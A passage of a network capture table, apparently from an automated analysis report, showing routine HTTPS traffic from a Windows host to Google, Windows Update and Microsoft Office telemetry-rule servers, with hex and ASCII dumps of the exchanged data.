1	192.168.2.5	49716	142.250.186.132	443	7104	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:30 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 17:06:30 UTC	1042	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 30 Oct 2024 17:06:30 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-30 17:06:30 UTC	336	IN	Data Raw: 66 35 65 0d 0a 29 5d 7d 27 0a 7b 22 64 64 6c 6a 73 6f 6e 22 3a 7b 22 61 63 63 65 73 73 69 62 69 6c 69 74 79 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 22 2c 22 61 6c 74 5f 74 65 78 74 22 3a 22 48 61 6c 6c 6f 77 65 65 6e 20 32 30 32 34 22 2c 22 63 74 61 5f 64 61 74 61 5f 75 72 69 22 3a 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 62 41 41 41 41 44 49 43 41 4d 41 41 41 43 2b 6c 6b 51 41 41 41 41 44 41 46 42 4d 56 45 56 48 63 45 77 63 43 78 30 41 41 41 41 49 41 51 4d 67 41 68 4d 34 44 44 42 5a 41 30 4e 68 44 6c 42 72 44 31 6c 30 45 57 42 50 46 55 4a 53 41 44 73 2f 44 6a 59 78 43 43 6f 58 41 67 30 45 41 41 45 4b 41 77 4f 64 57 61 77 44 41 51 4d 46 41 41 6b 6e Data Ascii: f5e)]}'{"ddljson":{"accessibility_description":"","alt_text":"Halloween 2024","cta_data_uri":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAbAAAADICAMAAAC+lkQAAAADAFBMVEVHcEwcCx0AAAAIAQMgAhM4DDBZA0NhDlBrD1l0EWBPFUJSADs/DjYxCCoXAg0EAAEKAwOdWawDAQMFAAkn
2024-10-30 17:06:30 UTC	1378	IN	Data Raw: 55 6f 4e 44 30 73 4f 48 6e 4d 4e 47 6d 71 61 65 39 79 6a 66 50 6e 42 6b 66 37 4c 6d 66 2b 32 69 76 37 55 6f 50 39 61 4d 6e 38 51 41 78 55 31 46 6b 31 77 55 61 65 72 66 76 4b 76 67 2f 75 67 65 75 71 5a 63 4f 61 50 61 4f 4d 4c 45 56 55 4b 46 57 41 6b 48 58 45 36 4c 70 64 64 52 4b 56 72 55 72 64 35 58 73 4a 6b 53 36 35 58 50 61 41 32 4c 6f 49 6c 4b 6f 67 54 49 58 6f 65 4a 58 36 51 62 4e 53 64 64 72 39 65 51 35 67 53 4a 59 42 43 4e 49 4d 73 4a 6e 39 51 50 59 42 63 4f 6f 4f 62 5a 48 35 6f 52 58 2b 49 57 6e 36 75 63 33 78 34 54 6e 34 32 49 6e 4c 62 70 66 38 69 43 69 34 4e 41 52 49 73 44 7a 36 4c 62 4d 61 48 55 4d 64 55 50 5a 5a 31 56 4c 76 43 6a 72 54 2f 35 34 61 39 6f 58 41 4c 43 55 4a 50 4b 47 39 67 4e 59 62 66 6d 71 6e 5a 77 49 45 75 41 42 69 74 6a 73 70 74 Data Ascii: UoND0sOHnMNGmqae9yjfPnBkf7Lmf+2iv7UoP9aMn8QAxU1Fk1wUaerfvKvg/ugeuqZcOaPaOMLEVUKFWAkHXE6LpddRKVrUrd5XsJkS65XPaA2LoIlKogTIXoeJX6QbNSddr9eQ5gSJYBCNIMsJn9QPYBcOoObZH5oRX+IWn6uc3x4Tn42InLbpf8iCi4NARIsDz6LbMaHUMdUPZZ1VLvCjrT/54a9oXALCUJPKG9gNYbfmqnZwIEuABitjspt
2024-10-30 17:06:30 UTC	1378	IN	Data Raw: 64 42 55 69 4d 4d 63 59 2f 69 45 48 77 6b 4c 6f 43 45 41 32 79 68 4f 2b 47 42 4b 4f 4f 6b 50 53 51 59 66 69 77 75 75 51 7a 6f 61 79 36 4a 73 6a 4b 73 71 7a 6e 52 33 2f 37 54 42 4b 2b 50 37 43 76 72 71 74 4b 4e 6d 49 55 64 69 4d 59 61 77 41 47 67 69 67 2f 74 58 4b 38 71 44 49 2b 73 71 50 31 69 53 34 6f 71 71 37 37 59 6c 30 69 4c 4f 75 5a 46 4e 67 31 58 6d 2b 6e 77 75 37 31 43 43 45 52 51 51 30 67 77 44 52 50 73 4d 77 47 50 52 71 67 50 4d 77 42 68 54 75 61 68 55 77 45 69 6e 4d 43 32 56 6a 48 75 6d 6b 6c 4c 39 57 56 41 72 76 4b 35 79 32 47 45 2f 50 43 63 44 64 42 72 41 55 4a 43 64 5a 35 70 6e 56 62 55 65 75 4b 50 66 46 74 64 34 62 47 44 69 64 68 46 50 4a 43 2f 79 6a 47 76 50 74 67 58 33 32 77 78 62 79 2f 4a 51 6b 58 41 34 74 70 6d 78 39 7a 51 4e 77 44 43 35 Data Ascii: dBUiMMcY/iEHwkLoCEA2yhO+GBKOOkPSQYfiwuuQzoay6JsjKsqznR3/7TBK+P7CvrqtKNmIUdiMYawAGgig/tXK8qDI+sqP1iS4oqq77Yl0iLOuZFNg1Xm+nwu71CCERQQ0gwDRPsMwGPRqgPMwBhTuahUwEinMC2VjHumklL9WVArvK5y2GE/PCcDdBrAUJCdZ5pnVbUeuKPfFtd4bGDidhFPJC/yjGvPtgX32wxby/JQkXA4tpmx9zQNwDC5
2024-10-30 17:06:30 UTC	849	IN	Data Raw: 46 69 57 62 65 6d 32 71 71 75 36 6b 63 76 6e 73 72 6e 33 66 65 44 6c 61 77 4d 6d 69 66 55 48 76 4c 30 73 4b 46 36 58 78 56 2b 54 47 53 49 6a 31 48 7a 4b 34 70 38 50 33 6a 37 77 65 37 4b 65 52 2f 66 6c 35 51 43 78 2b 79 43 76 77 66 68 77 61 47 6f 75 54 46 51 6b 51 57 41 78 42 78 4e 50 46 31 68 70 6f 64 77 56 56 35 52 4b 64 65 6b 2f 69 57 67 30 43 62 61 45 68 52 50 43 36 37 47 78 68 41 41 47 52 47 4e 63 4f 43 61 77 2f 6a 77 77 59 4a 6f 45 4c 6e 46 49 59 62 64 4d 57 69 75 70 32 5a 6b 73 58 67 49 43 6a 79 59 76 51 4a 6b 6d 72 2b 6c 38 48 70 66 70 2f 50 4c 53 79 50 7a 53 77 75 72 53 73 73 51 6c 69 54 6d 6f 51 6b 31 38 32 4f 55 57 63 35 71 57 79 36 6d 71 70 75 71 36 43 6a 53 57 5a 71 2b 64 4b 4a 70 43 67 41 5a 65 67 4b 64 62 68 6d 55 5a 75 71 47 71 4f 56 57 72 Data Ascii: FiWbem2qqu6kcvnsrn3feDlawMmifUHvL0sKF6XxV+TGSIj1HzK4p8P3j7we7KeR/fl5QCx+yCvwfhwaGouTFQkQWAxBxNPF1hpodwVV5RKdek/iWg0CbaEhRPC67GxhAAGRGNcOCaw/jwwYJoELnFIYbdMWiup2ZksXgICjyYvQJkmr+l8Hpfp/PLSyPzSwurSssQliTmoQk182OUWc5qWy6mqpuq6CjSWZq+dKJpCgAZegKdbhmUZuqGqOVWr
2024-10-30 17:06:30 UTC	168	IN	Data Raw: 61 32 0d 0a 78 35 77 64 63 54 6e 32 6b 72 43 41 69 38 70 72 63 78 2b 75 72 36 2b 76 72 6e 2b 69 68 68 77 38 67 70 49 30 47 43 52 78 35 54 4f 77 47 4a 4b 58 70 74 71 4d 65 31 61 68 44 6d 41 62 64 62 4e 4f 46 65 6f 6d 6e 47 61 44 6c 38 30 4c 66 61 62 47 79 51 76 79 48 51 35 4d 49 76 50 32 73 66 59 41 73 6e 65 50 48 48 6e 39 59 46 33 42 6d 51 62 4e 35 31 59 6b 36 4e 68 51 70 61 41 35 41 79 32 4d 4e 74 37 79 56 69 72 64 33 63 69 48 37 66 45 51 67 73 47 57 59 68 4b 51 51 4c 57 50 46 32 31 32 73 52 0d 0a Data Ascii: a2x5wdcTn2krCAi8prcx+ur6+vrn+ihhw8gpI0GCRx5TOwGJKXptqMe1ahDmAbdbNOFeomnGaDl80LfabGyQvyHQ5MIvP2sfYAsnePHHn9YF3BmQbN51Yk6NhQpaA5Ay2MNt7yVird3ciH7fEQgsGWYhKQQLWPF212sR
2024-10-30 17:06:30 UTC	1378	IN	Data Raw: 35 34 39 38 0d 0a 77 51 75 4f 4b 56 75 46 49 75 6a 31 34 36 4d 30 5a 67 79 47 73 6b 78 5a 57 4d 67 68 32 50 73 52 61 4e 54 48 54 75 4d 4e 4b 53 78 4e 49 72 79 46 34 71 74 75 52 31 45 68 34 66 32 68 63 4e 63 65 5a 49 7a 4f 55 6c 69 57 6d 61 6d 76 39 34 41 63 41 41 37 58 49 75 52 45 59 4e 56 6d 37 2b 6f 74 54 4d 6f 70 70 48 4c 45 53 73 73 79 32 34 79 4c 62 4d 54 62 4f 2b 59 64 61 4c 55 4c 31 59 72 79 4d 32 46 76 44 55 77 73 2b 78 56 47 30 4c 76 45 42 4d 65 6d 7a 77 6f 4c 6f 6c 73 6f 44 48 43 32 4c 4e 72 30 4a 68 6f 64 46 79 4d 70 6b 63 4e 42 4b 68 6f 43 58 62 4e 41 52 44 6a 67 32 39 50 58 34 76 6b 6d 52 58 56 37 76 42 67 74 53 56 62 43 67 58 43 54 74 6b 52 41 54 6b 70 6c 58 68 71 36 65 76 44 51 68 65 63 53 79 6c 75 6e 56 70 50 68 47 47 6f 58 67 79 65 79 57 Data Ascii: 5498wQuOKVuFIuj146M0ZgyGskxZWMgh2PsRaNTHTuMNKSxNIryF4qtuR1Eh4f2hcNceZIzOUliWmamv94AcAA7XIuREYNVm7+otTMoppHLESssy24yLbMTbO+YdaLUL1YryM2FvDUws+xVG0LvEBMemzwoLolsoDHC2LNr0JhodFyMpkcNBKhoCXbNARDjg29PX4vkmRXV7vBgtSVbCgXCTtkRATkplXhq6evDQhecSylunVpPhGGoXgyeyW
2024-10-30 17:06:30 UTC	1378	IN	Data Raw: 76 6c 69 68 49 6f 6e 77 47 61 33 64 30 37 64 32 4f 6c 50 63 46 72 6f 52 72 6f 76 77 5a 67 4f 41 55 77 71 6a 7a 36 65 43 6b 47 57 68 48 69 45 6d 47 51 4a 73 4f 64 73 54 46 4a 59 47 4d 4e 63 64 43 78 50 54 54 5a 61 52 38 32 70 61 5a 6d 56 38 68 4c 30 4a 49 47 49 7a 41 71 4d 4c 58 49 42 42 61 61 62 70 53 48 44 58 63 35 76 46 78 37 53 63 33 63 32 64 6c 5a 2f 2b 79 68 74 74 68 47 44 44 57 69 6a 6b 35 4d 31 51 31 56 73 79 31 6b 72 78 4f 31 49 75 75 4e 68 35 75 66 66 2f 48 6c 46 35 38 39 72 43 47 52 34 59 46 68 6e 6b 44 5a 59 57 75 32 58 2b 4b 53 70 30 39 55 69 72 38 6c 76 4d 66 4d 5a 52 35 38 38 5a 37 48 4b 37 33 77 55 79 2f 79 46 53 38 73 4d 42 67 4a 2f 58 36 2f 31 36 2f 34 30 43 64 4c 58 67 42 32 43 48 74 4b 59 54 59 59 75 31 73 74 56 2b 50 4b 62 63 46 47 36 Data Ascii: vlihIonwGa3d07d2OlPcFroRrovwZgOAUwqjz6eCkGWhHiEmGQJsOdsTFJYGMNcdCxPTTZaR82paZmV8hL0JIGIzAqMLXIBBaabpSHDXc5vFx7Sc3c2dlZ/+yhtthGDDWijk5M1Q1Vsy1krxO1IuuNh5uff/HlF589rCGR4YFhnkDZYWu2X+KSp09Uir8lvMfMZR588Z7HK73wUy/yFS8sMBgJ/X6/16/40CdLXgB2CHtKYTYYu1stV+PKbcFG6
2024-10-30 17:06:30 UTC	1378	IN	Data Raw: 6f 4f 56 45 78 59 51 73 4f 30 54 6c 38 58 79 6f 6b 35 44 49 69 44 69 70 70 5a 76 2b 6b 6d 6e 73 79 67 46 67 69 75 4a 37 44 6c 61 35 39 6e 69 34 76 43 31 67 66 64 54 41 78 63 50 52 32 52 30 51 73 78 59 50 53 4d 76 6f 65 62 30 41 59 4a 6f 46 5a 6f 55 43 52 31 4d 2f 2f 66 7a 54 54 39 38 7a 48 6d 4c 2b 79 35 6c 39 77 62 51 4e 55 36 75 4b 59 74 36 68 4a 59 45 46 66 5a 30 44 67 79 51 77 4e 78 72 2b 4e 6a 44 66 4d 49 47 46 5a 76 59 69 74 37 64 47 59 53 4c 4d 34 6d 45 6e 4a 61 42 63 59 41 71 6a 69 43 79 79 59 47 39 42 52 35 2f 65 46 55 31 31 34 2f 4e 4d 63 57 74 30 59 38 78 69 30 57 5a 6c 6e 77 43 75 6c 55 52 6e 77 43 62 5a 67 4b 58 53 4b 7a 4f 43 56 30 68 36 4c 44 75 6b 78 41 39 49 38 5a 52 70 4c 36 6f 4a 54 4b 65 2f 44 48 6f 4c 53 78 49 6a 4d 46 79 57 6c 33 39 Data Ascii: oOVExYQsO0Tl8Xyok5DIiDippZv+kmnsygFgiuJ7Dla59ni4vC1gfdTAxcPR2R0QsxYPSMvoeb0AYJoFZoUCR1M//fzTT98zHmL+y5l9wbQNU6uKYt6hJYEFfZ0DgyQwNxr+NjDfMIGFZvYit7dGYSLM4mEnJaBcYAqjiCyyYG9BR5/eFU114/NMcWt0Y8xi0WZlnwCulURnwCbZgKXSKzOCV0h6LDukxA9I8ZRpL6oJTKe/DHoLSxIjMFyWl39
2024-10-30 17:06:30 UTC	1378	IN	Data Raw: 54 36 54 31 64 47 62 2f 61 45 72 49 53 49 54 49 2b 43 57 41 6d 73 73 5a 45 57 4b 7a 50 59 33 62 69 78 46 33 6c 42 6b 2f 42 4d 2f 73 32 2f 55 51 78 68 4e 6e 59 38 70 6c 30 46 53 33 4e 7a 51 78 4d 50 48 6b 35 50 65 48 47 6d 78 4d 4d 38 67 43 46 6f 77 46 6f 4a 64 44 6a 36 47 45 53 53 65 42 46 6d 62 6e 34 78 63 36 69 55 53 4b 6b 4c 73 6c 4b 67 56 50 69 48 7a 41 63 4c 39 31 35 73 64 69 6f 77 69 4d 61 55 58 2b 63 33 79 51 5a 74 30 56 39 51 35 4e 49 74 65 47 72 51 78 41 74 30 4f 4e 43 55 5a 39 57 42 6d 74 70 2f 66 50 66 75 33 64 38 7a 42 68 69 73 4a 62 69 75 33 51 47 69 6e 47 6a 2f 6d 53 45 47 58 67 64 48 51 48 5a 30 63 4c 7a 53 56 63 55 63 31 6f 71 45 75 47 6b 62 72 44 4c 54 51 78 2f 52 59 62 53 59 53 78 6d 44 69 62 38 6d 43 37 68 2b 42 71 32 66 51 59 76 4b 6a Data Ascii: T6T1dGb/aErISITI+CWAmssZEWKzPY3bixF3lBk/BM/s2/UQxhNnY8pl0FS3NzQxMPHk5PeHGmxMM8gCFowFoJdDj6GESSeBFmbn4xc6iUSKkLslKgVPiHzAcL915sdiowiMaUX+c3yQZt0V9Q5NIteGrQxAt0ONCUZ9WBmtp/fPfu3d8zBhisJbiu3QGinGj/mSEGXgdHQHZ0cLzSVcUc1oqEuGkbrDLTQx/RYbSYSxmDib8mC7h+Bq2fQYvKj
2024-10-30 17:06:30 UTC	1378	IN	Data Raw: 44 75 50 31 78 64 56 68 73 64 63 61 36 36 56 73 31 4f 42 6c 32 45 73 4a 74 45 5a 51 46 51 30 77 59 37 41 43 72 2b 4e 71 67 4e 33 76 62 43 30 44 5a 72 6f 63 64 6b 7a 55 76 47 71 34 61 4b 4a 2b 2b 63 58 54 78 30 49 4d 7a 31 39 50 64 67 73 53 57 46 72 35 50 67 58 73 4e 67 4c 6a 67 4e 6a 4c 79 49 32 41 6c 72 76 35 41 73 44 6d 76 42 68 67 39 58 74 41 68 74 59 48 46 38 46 35 73 62 6e 4b 65 63 6c 50 69 38 45 55 4c 72 41 52 51 4c 6a 62 67 5a 5a 61 58 46 41 79 5a 6d 74 68 45 70 34 68 69 34 64 76 69 4a 6c 71 61 41 4f 6a 74 6e 39 31 38 48 45 61 54 46 64 45 45 41 74 64 74 69 79 57 79 62 51 74 62 67 77 42 32 41 2b 39 73 34 50 4d 2f 4a 51 67 79 39 7a 5a 57 78 70 5a 4d 73 41 67 46 65 78 4c 51 37 30 59 37 45 4e 31 44 68 73 74 69 78 79 56 47 64 46 30 4f 73 68 4c 67 44 56 Data Ascii: DuP1xdVhsdca66Vs1OBl2EsJtEZQFQ0wY7ACr+NqgN3vbC0DZrocdkzUvGq4aKJ++cXTx0IMz19PdgsSWFr5PgXsNgLjgNjLyI2Alrv5AsDmvBhg9XtAhtYHF8F5sbnKeclPi8EULrARQLjbgZZaXFAyZmthEp4hi4dviJlqaAOjtn918HEaTFdEEAtdtiyWybQtbgwB2A+9s4PM/JQgy9zZWxpZMsAgFexLQ70Y7EN1DhstixyVGdF0OshLgDV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49714	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:30 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Muc2ry9KOP49z33&MD=+oUpkrAU HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-30 17:06:30 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 76c66b6a-5109-424d-81d3-5a9754e4c17a MS-RequestId: f24443ca-8a1c-4aba-9420-9d9e9859e8f0 MS-CV: DfpHKoDPtk+1gHnD.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 30 Oct 2024 17:06:30 GMT Connection: close Content-Length: 24490
2024-10-30 17:06:30 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-30 17:06:30 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.5	49719	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 17:06:30 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 17:06:30 UTC	540	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 17:06:30 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 28 Oct 2024 13:23:36 GMT ETag: "0x8DCF753BAA1B278" x-ms-request-id: 174434da-801e-0015-686a-29f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T170630Z-17fbfdc98bb7jfvg3dxcbz5xm000000006m0000000005kvd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 17:06:30 UTC	15844	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-30 17:06:30 UTC	16384	IN	Data Raw: 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e Data Ascii: "0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" />
2024-10-30 17:06:30 UTC	16384	IN	Data Raw: 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 Data Ascii: <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-781
2024-10-30 17:06:30 UTC	16384	IN	Data Raw: 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32"
